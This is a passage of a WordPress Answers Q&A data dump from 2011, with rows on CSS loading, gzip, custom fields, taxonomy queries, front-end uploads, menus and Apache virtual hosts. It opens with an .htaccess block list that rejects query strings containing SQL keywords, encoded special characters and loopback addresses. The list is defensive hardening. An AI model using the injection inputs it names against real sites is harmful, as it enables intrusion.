[NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^.*(%22|%27|%3C|%3E|%5C|%7B|%7C).* [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^.*(globals|encode|config|localhost|loopback).* [NC,OR]&#xA; RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC]&#xA; RewriteRule ^(.*)$ - [F,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="3" LastEditorDisplayName="" LastEditDate="2011-06-27T17:23:20.260" LastActivityDate="2011-06-27T17:23:20.260" CommunityOwnedDate="2011-06-02T16:00:43.823" />
  <row Id="19058" PostTypeId="2" ParentId="19053" CreationDate="2011-06-02T16:18:47.983" Score="1" ViewCount="" Body="&lt;p&gt;The Google CDN jQuery UI stylesheet is loading after your themes CSS so it will override any of your styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your also getting a 404 for &lt;code&gt;http://ashleymosuro.com/newsite/css/jquery-ui.css?ver=3.1.3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Google CDN CSS is being enqueued with &lt;code&gt;wp_enqueue_style&lt;/code&gt; with the handle &lt;code&gt;custom-datefield-style-css&lt;/code&gt;.  You should be able to remove it from functions.php or it might be in header.php&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-02T16:18:47.983" CommentCount="2" />
  <row Id="19059" PostTypeId="2" ParentId="18968" CreationDate="2011-06-02T16:49:54.107" Score="5" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;GZip compression&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;GZip compression&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;    AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css  application/x-javascript&#xA;    BrowserMatch ^Mozilla/4 gzip-only-text/html&#xA;    BrowserMatch ^Mozilla/4\.0[678] no-gzip&#xA;    BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2011-06-02T17:03:31.900" LastActivityDate="2011-06-02T17:03:31.900" CommunityOwnedDate="2011-06-02T16:49:54.107" />
  <row Id="19060" PostTypeId="1" AcceptedAnswerId="19061" CreationDate="2011-06-02T16:51:04.747" Score="0" ViewCount="98" Body="&lt;p&gt;I've been using the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template plugin&lt;/a&gt; for a while now, and I really like it. It's fantastic for adding quick custom field meta boxes in the wordpress back end. It handles TinyMCE, file uploads, repeating fields, date picker, etc. For really advanced stuff I do custom coding, but nothing beats rapid development with this plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one problem with this powerful plugin: the developer is japanese and the documentation is almost non-existant. The docs on his site in english are poor, and other stuff I've found on the web is limited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question: where is the best place for Custom Field Template documentation - especially for the more advanced features. I'm guessing that there is no place so lets begin creating the definitive source right here on wonderful Wordpress Answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I found so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpgogo.com/development/custom-field-template.html#english&quot; rel=&quot;nofollow&quot;&gt;Author's website (english version of Japanese)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kevinleary.net/multiple-fields-groups-wordpress-custom-field-template-plugin/&quot; rel=&quot;nofollow&quot;&gt;Multiple Fields &amp;amp; Groups with the WordPress Custom Field Template Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4229" LastEditorUserId="4229" LastEditorDisplayName="" LastEditDate="2011-06-02T17:00:25.037" LastActivityDate="2011-06-02T17:14:52.080" Title="Let's Create Custom Field Template Documentation" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;metabox&gt;&lt;post-meta&gt;&lt;add-meta-box&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="19061" PostTypeId="2" ParentId="19060" CreationDate="2011-06-02T17:14:52.080" Score="1" ViewCount="" Body="&lt;p&gt;Create a &lt;a href=&quot;https://gist.github.com/&quot; rel=&quot;nofollow&quot;&gt;public gist&lt;/a&gt; or a repository. You can use multiple files per gist, everyone can comment or fork the project. It is like a wiki for developers. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-02T17:14:52.080" />
  <row Id="19062" PostTypeId="2" ParentId="18983" CreationDate="2011-06-02T17:47:50.303" Score="1" ViewCount="" Body="&lt;p&gt;Rarst got me off to a good start, but if you want to do this with a custom taxonomy you should use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$classes = implode(' ', wp_get_object_terms($post-&amp;gt;ID, 'custom_post_type', array('fields'=&amp;gt;'names')) );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2011-06-02T17:47:50.303" />
  <row Id="19063" PostTypeId="1" CreationDate="2011-06-02T18:00:15.187" Score="0" ViewCount="74" Body="&lt;p&gt;I have a custom taxonomy, &quot;position&quot;, with multiple terms for a custom post type, &quot;employee&quot; in the admin. I want to validate the form to require a position to be selected when you save/update a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I validate and make the position custom taxonomy a required field in the wordpress admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd like to display an error message to indicate to users that a position is required to be checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="5885" LastActivityDate="2011-08-02T03:23:11.597" Title="Require a Custom Taxonomy to be checked" Tags="&lt;custom-taxonomy&gt;&lt;wp-admin&gt;&lt;validation&gt;" AnswerCount="3" />
  <row Id="19064" PostTypeId="1" AcceptedAnswerId="19422" CreationDate="2011-06-02T20:17:58.907" Score="1" ViewCount="298" Body="&lt;p&gt;I have been following &lt;a href=&quot;http://goldenapplesdesign.com/2010/07/03/front-end-file-uploads-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;goldenapples front end file uploads&lt;/strong&gt;&lt;/a&gt; tutorial, however i do have that working for my frontend posting page, but what i am wanting to accomplish now is to add an image from edit profile page (again this is a frontend file upload scenario.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theme functions.php i have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function insert_complogo($file_handler,$user_id,$setthumb='false') {&#xA;// check to make sure its a successful upload&#xA;if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false();&#xA;require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;&#xA;$attach_id = media_handle_upload( $file_handler, $user_id );&#xA;&#xA;if ($setthumb) update_usermeta($user_id,'_thumbnail_id',$attach_id);&#xA;return $attach_id;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my profile-edit.php at the top i have:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_FILES) {&#xA;foreach ($_FILES as $file =&amp;gt; $array) {&#xA;$newupload = insert_complogo($file,$user_id);&#xA;}&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !empty( $_POST['authorphoto'] ) )&#xA;    update_usermeta( $current_user-&amp;gt;id, 'comp_logo', esc_attr($_POST['comp_logo']   ) );   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my input type is:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;   &amp;lt;label&amp;gt;&amp;lt;?php _e('Add Company Logo', 'comp_logo') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt; &#xA;                        &amp;lt;input type=&quot;file&quot; name=&quot;comp_logo&quot; id=&quot;comp_logo&quot; value=&quot;Upload Logo&quot; size=&quot;50&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can tell from the first three blocks of code above i have changed post_id references to user_id,  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the upload of the company logo does work, however even using user_id and update_usermeta the info is being saved into wp_postmeta table which is not where i want it to be as i need to pull the info from wp_usermeta to populate the author.php page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question (got there eventualy) is why when im using update_usermeta is the attachment info going into wp_postmeta, im guessing its because codex says that image attachments are a type of post so no matter what that is where they go, but how can i get that image from wp_postmeta and associate it with the correct author?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-02T20:55:52.697" LastActivityDate="2011-06-07T14:30:29.187" Title="Frontend image uploading from edit profile page. (goldenapples)" Tags="&lt;image&gt;&lt;frontend&gt;&lt;profile&gt;&lt;uploading&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="19066" PostTypeId="2" ParentId="19063" CreationDate="2011-06-02T20:53:16.160" Score="0" ViewCount="" Body="&lt;p&gt;I'd say, hook into &lt;code&gt;pre_post_update&lt;/code&gt; and check what is given via &lt;code&gt;$_POST&lt;/code&gt;...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-02T20:53:16.160" />
  <row Id="19067" PostTypeId="2" ParentId="13726" CreationDate="2011-06-02T21:03:52.940" Score="1" ViewCount="" Body="&lt;p&gt;Even better answer that doesn't involve changing the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('transition_post_status','stc_publish_auto_check',10,3);&#xA;add_action('transition_post_status','my_custom_publish_rules',10,3);&#xA;function my_custom_publish_rules($new, $old, $post) {&#xA;  if ($post-&amp;gt;post_type == 'page') return;&#xA;  else stc_publish_auto_check($new, $old, $post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put it in a theme's functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note: Whenever you're dealing with a function called by an action or filter hook, then you can easily wrap the call in a different function and add your own code to that function instead. remove_action and remove_filter should be two tools you use a lot in your WP arsenal.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-02T21:03:52.940" CommentCount="1" />
  <row Id="19068" PostTypeId="1" CreationDate="2011-06-02T21:06:26.130" Score="1" ViewCount="191" Body="&lt;p&gt;Here's the code I'm using to try and query a single taxonomy for one term, but exclude returned posts for that term that also belong to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In English, this is what I want: query 'resource-type' for 'testimonies', but not 'testimonies' that are also 'audio'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tips to tweak this code to get it to work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $testimonials_args = array(&#xA;&#xA;        'post_type' =&amp;gt; 'resource',&#xA;        'posts_per_page' =&amp;gt; 1,&#xA;        'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;             array(&#xA;                'taxonomy' =&amp;gt; 'resource-type',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( 'testimonies' )&#xA;            ),&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'resource-type',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( 'audio' ),&#xA;                'operator' =&amp;gt; 'NOT IN'&#xA;            )&#xA;        )&#xA;    );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2011-09-01T03:38:36.680" Title="Query 1 taxonomy term, exclude another" Tags="&lt;query-posts&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="1" />
  <row Id="19069" PostTypeId="1" CreationDate="2011-06-02T21:07:21.043" Score="0" ViewCount="47" Body="&lt;p&gt;I've added 4 menus to my wordpress theme&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_menus(){&#xA;    register_nav_menu( 'header-menu', __( 'Header Main' ) );&#xA;    register_nav_menu( 'side-menu', __( 'Side Main' ) );&#xA;    register_nav_menu( 'footer-main-menu', __( 'Footer Main' ) );&#xA;    register_nav_menu( 'footer-sub-menu', __( 'Footer Sub' ) );                     &#xA;}&#xA;&#xA;add_action( 'init', 'register_menus' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in my &lt;strong&gt;header.php&lt;/strong&gt; file I have this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(has_nav_menu( 'header-menu' )) {&#xA;     wp_nav_menu( &#xA;        array(&#xA;        'menu'=&amp;gt;'header-menu',&#xA;        'menu_id'=&amp;gt;'header-menu',&#xA;        'container_id'=&amp;gt;'header-menu-wrapper',&#xA;        'container_class'=&amp;gt;'menu-container',&#xA;        'fallback_cb'=&amp;gt; false,&#xA;        'items_wrap' =&amp;gt; '&amp;lt;ul id=&quot;%1$s&quot; class=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/ul&amp;gt;'&#xA;&#xA;        ) &#xA;      ); &#xA;}else{&#xA;    echo 'no menu!';&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_nav_menu( 'side-menu' )) {&#xA;     wp_nav_menu( &#xA;        array(&#xA;        'menu'=&amp;gt;'side-menu',&#xA;        'menu_id'=&amp;gt;'side-menu',&#xA;        'container_id'=&amp;gt;'side-menu-wrapper',&#xA;        'container_class'=&amp;gt;'menu-container',&#xA;        'fallback_cb'=&amp;gt; false,&#xA;        'items_wrap' =&amp;gt; '&amp;lt;ul id=&quot;%1$s&quot; class=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/ul&amp;gt;'&#xA;&#xA;        ) &#xA;      ); &#xA;}else{&#xA;    echo 'no menu!';&#xA;} ?&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check the rendered page, its dumping side-menu twice, instead of header-menu and side-menu...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I changed some things mid way -- since I'm still developing the menus, but now no matter what I do the menus dont update!&lt;/p&gt;&#xA;" OwnerUserId="3976" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-02T21:45:08.233" LastActivityDate="2011-06-02T21:45:08.233" Title="How do you get nav menu to update after you make changes to it?" Tags="&lt;custom-menus&gt;&lt;cache&gt;" />
  <row Id="19071" PostTypeId="1" AcceptedAnswerId="21930" CreationDate="2011-06-02T22:03:14.403" Score="2" ViewCount="59" Body="&lt;p&gt;I disabled the posts revision feature according to this &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Disable_Post_Revisions&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt; by placing this code in the wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('WP_POST_REVISIONS', false );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But revions are still being saved by the WP. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using wp3.1.3 and Twenty Ten theme. I have couple of plugins, and disabling them does not resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-04T09:23:25.890" LastActivityDate="2011-07-04T11:34:59.873" Title="WP disobeys disabling of the posts revision feature" Tags="&lt;functions&gt;&lt;wp-config&gt;" AnswerCount="2" CommentCount="14" />
  <row Id="19072" PostTypeId="2" ParentId="18436" CreationDate="2011-06-02T22:26:17.427" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;A privately developed XML Sitemap and image XML Sitemap plugin&lt;/li&gt;&#xA;&lt;li&gt;Regenerate Thumbnails&lt;/li&gt;&#xA;&lt;li&gt;A somewhat modified version of Simple Local Avatars&lt;/li&gt;&#xA;&lt;li&gt;WP Smush.it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2011-06-02T22:26:17.427" CommunityOwnedDate="2011-06-02T22:26:17.427" />
  <row Id="19073" PostTypeId="1" AcceptedAnswerId="19087" CreationDate="2011-06-02T22:28:46.200" Score="0" ViewCount="87" Body="&lt;p&gt;I have a need to exclude posts based on a custom field type. It will probably be a field such as &quot;legacy&quot; or &quot;depricated&quot;. I searched for an example on how this would be done but I haven't found anything worth while. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            $software = array('post_type' =&amp;gt; 'software', 'category_name' =&amp;gt; $model);&#xA;            query_posts( $software );&#xA;            get_template_part( 'loop', 'software' );&#xA;            wp_reset_query();&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-06-03T15:41:18.933" LastActivityDate="2011-06-03T15:41:18.933" Title="Is there a way to exclude posts based on meta_values?" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="19074" PostTypeId="2" ParentId="19063" CreationDate="2011-06-02T23:00:35.550" Score="1" ViewCount="" Body="&lt;p&gt;I've posted an answer to very similar question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15546/dont-publish-custom-post-type-post-if-a-meta-data-field-isnt-valid/15627#15627&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt; which provides a &quot;framework&quot; to validate post fields (title,content...) meta fields (any metabox) and taxonomies (category, tags, custom) by ajax before submiting the post.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T23:00:35.550" />
  <row Id="19075" PostTypeId="2" ParentId="6236" CreationDate="2011-06-02T23:07:47.533" Score="0" ViewCount="" Body="&lt;p&gt;I just created a simple tool for automatically downloading and activating plugins during installation. &lt;a href=&quot;http://wpkgr.com/&quot; rel=&quot;nofollow&quot;&gt;http://wpkgr.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just finished creating it and little testing has been done. So, it may have bugs.&lt;/p&gt;&#xA;" OwnerUserId="5891" LastActivityDate="2011-06-02T23:07:47.533" />
  <row Id="19076" PostTypeId="2" ParentId="19064" CreationDate="2011-06-02T23:18:01.623" Score="1" ViewCount="" Body="&lt;p&gt;the problem is in this line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attach_id = media_handle_upload( $file_handler, $user_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when you use media_handle_upload and provide a second parameter (which in your case you do) the the attachment is associated with a post that has that ID, so basically WordPress thinks your are telling it to save this as an attachment to a post which has the same id as the user and that is way it is saved in the postmeta table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now the quick fix is to remove &lt;code&gt;$user_id&lt;/code&gt; from that line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attach_id = media_handle_upload( $file_handler);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;next I'm pretty sure that this part does nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !empty( $_POST['authorphoto'] ) )&#xA;    update_usermeta( $current_user-&amp;gt;id, 'comp_logo', esc_attr($_POST['comp_logo']   ) );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since input fields with &lt;code&gt;type=&quot;file&quot;&lt;/code&gt; are not included in &lt;code&gt;$_POST&lt;/code&gt; but in &lt;code&gt;$_FILES&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and to display the image on the author template you can use &lt;code&gt;wp_get_attachment_image_src&lt;/code&gt;&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image_attributes = wp_get_attachment_image_src( get_usermeta($user_id,'_thumbnail_id',true )); // returns an array&#xA;echo '&amp;lt;img src=&quot;'.$image_attributes[0].'&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-02T23:18:01.623" CommentCount="1" />
  <row Id="19077" PostTypeId="2" ParentId="19068" CreationDate="2011-06-02T23:29:02.330" Score="0" ViewCount="" Body="&lt;p&gt;I guess its because you are trying two conditions on one taxonomy, you can allways create a custom sql query, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;&#xA;SELECT * &#xA;FROM $wpdb-&amp;gt;posts&#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;LEFT JOIN $wpdb-&amp;gt;terms ON($wpdb-&amp;gt;term_taxonomy.term_id = $wpdb-&amp;gt;terms.term_id)&#xA;WHERE $wpdb-&amp;gt;posts.post_type = 'resource' &#xA;AND $wpdb-&amp;gt;posts.post_status = 'publish'&#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'resource-type'&#xA;AND $wpdb-&amp;gt;terms.slug = 'testimonies'&#xA;AND $wpdb-&amp;gt;terms.slug NOT IN ('audio')&#xA;ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA; &quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can query just by one term and exclude by &lt;code&gt;has_term()&lt;/code&gt; inside the loop something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!has_term('audio','resource-type',$post-&amp;gt;ID)){&#xA;  //post without audio&#xA;}else{&#xA;  //post with audio (skip or whatever)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-03T03:18:31.927" LastActivityDate="2011-06-03T03:18:31.927" CommentCount="2" />
  <row Id="19078" PostTypeId="2" ParentId="16236" CreationDate="2011-06-02T23:43:07.357" Score="-1" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://perishablepress.com/user-submitted-posts/&quot; rel=&quot;nofollow&quot;&gt;User Submitted Posts from Perishable Press&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5894" LastActivityDate="2011-06-02T23:43:07.357" CommentCount="1" />
  <row Id="19079" PostTypeId="2" ParentId="18918" CreationDate="2011-06-03T00:04:50.343" Score="3" ViewCount="" Body="&lt;p&gt;Basically, it turns out you need two dedicated IP addresses, or a third vhost.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;IP Address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could use two IP addresses and do something like this in your apache configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#IP address for WP&#xA;NameVirtualHost 12.34.56.78:80&#xA;#For everything else&#xA;NameVirtualHost *:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, make sure the &lt;code&gt;VirtualHost&lt;/code&gt; for WordPress is declared thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost 12.34.56.78:80&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all other &lt;code&gt;VirtualHost&lt;/code&gt; blocks declared before WordPress use the other one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should work. I haven't tested this AT ALL, so it may not work. Also, I'm not sure using the asterisk in the second &lt;code&gt;NameVirtualHost&lt;/code&gt; line will work; again: untested.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CNAME&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assuming your domain mapping plugin allows for this, use the 'cname' method of routing mapped domains instead of the 'IP' method. Use something like 'map.domain.com' and have mapped domains point a cname to that (this will prevent them from using the root of their domain, but they should be able to 301 redirect example.com to www.example.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add another VirtualHost entry for 'map.domain.com' as the first vhost entry, mirroring the main vhost entry for the domain, specifically: the document root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this is also untested.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SUBDOMAIN CONFIGURATION (OLD ANSWER)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'll use my own site's virtual host file as an example. This is all in one file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Virtual host for the subdomain first&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerAdmin admin@test.jpb&#xA;    ServerName drupal.johnpbloch.com&#xA;    # Note that the document root and all other paths are different from the domain's primary virtual host below.&#xA;    DocumentRoot /path/to/subdomain/directory/htdocs/&#xA;    ErrorLog /path/to/subdomain/directory/logs/error.log&#xA;    CustomLog /path/to/subdomain/directory/logs/access.log combined&#xA;    &amp;lt;Directory /path/to/subdomain/directory/htdocs/&amp;gt;&#xA;        AllowOverride All&#xA;        Order allow,deny&#xA;        Allow from all&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;# Virtual host for the main site next&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerAdmin admin@test.jpb&#xA;    ServerName johnpbloch.com&#xA;    ServerAlias www.johnpbloch.com&#xA;    ServerAlias *.johnpbloch.com&#xA;    DocumentRoot /path/to/main/site/directory/htdocs/&#xA;    ErrorLog /path/to/main/site/directory/logs/error.log&#xA;    CustomLog /path/to/main/site/directory/logs/access.log combined&#xA;    &amp;lt;Directory /path/to/main/site/directory/htdocs/&amp;gt;&#xA;        AllowOverride All&#xA;        Order allow,deny&#xA;        Allow from all&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That doesn't have to all be in one file; the important part is that Apache loads the more specific virtual host first. That means any virtual hosts with no wildcards in any &lt;code&gt;ServerAlias&lt;/code&gt; values must be loaded before any virtual hosts with those wildcard values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no value, no setting, nothing you could possible do with, in or around WordPress that could possibly solve your problem. By the time the request has reached WordPress, it's too late. Apache has already loaded the virtual hosts, already resolved the hosts, and will always route the traffic the way it does. If the traffic is getting to WordPress when it shouldn't be that is a server configuration issue. Not WordPress.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-06-07T19:20:01.510" LastActivityDate="2011-06-07T19:20:01.510" CommentCount="12" />
  <row Id="19080" PostTypeId="1" CreationDate="2011-06-03T00:22:42.610" Score="0" ViewCount="37" Body="&lt;p&gt;What plugin can I use to create a slideshow similar to Flickr Slideshow?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;full screen option&lt;/li&gt;&#xA;&lt;li&gt;navigation with thumbnails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The difference is that I'm going to use images hosted on my own website, and not using Flickr images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example below:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/ZRZ9f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1236" LastActivityDate="2011-06-03T00:22:42.610" Title="Slideshow plugin similar to Flickr Slideshow - using local hosted images" Tags="&lt;plugins&gt;&lt;images&gt;&lt;slideshow&gt;&lt;flickr&gt;" />
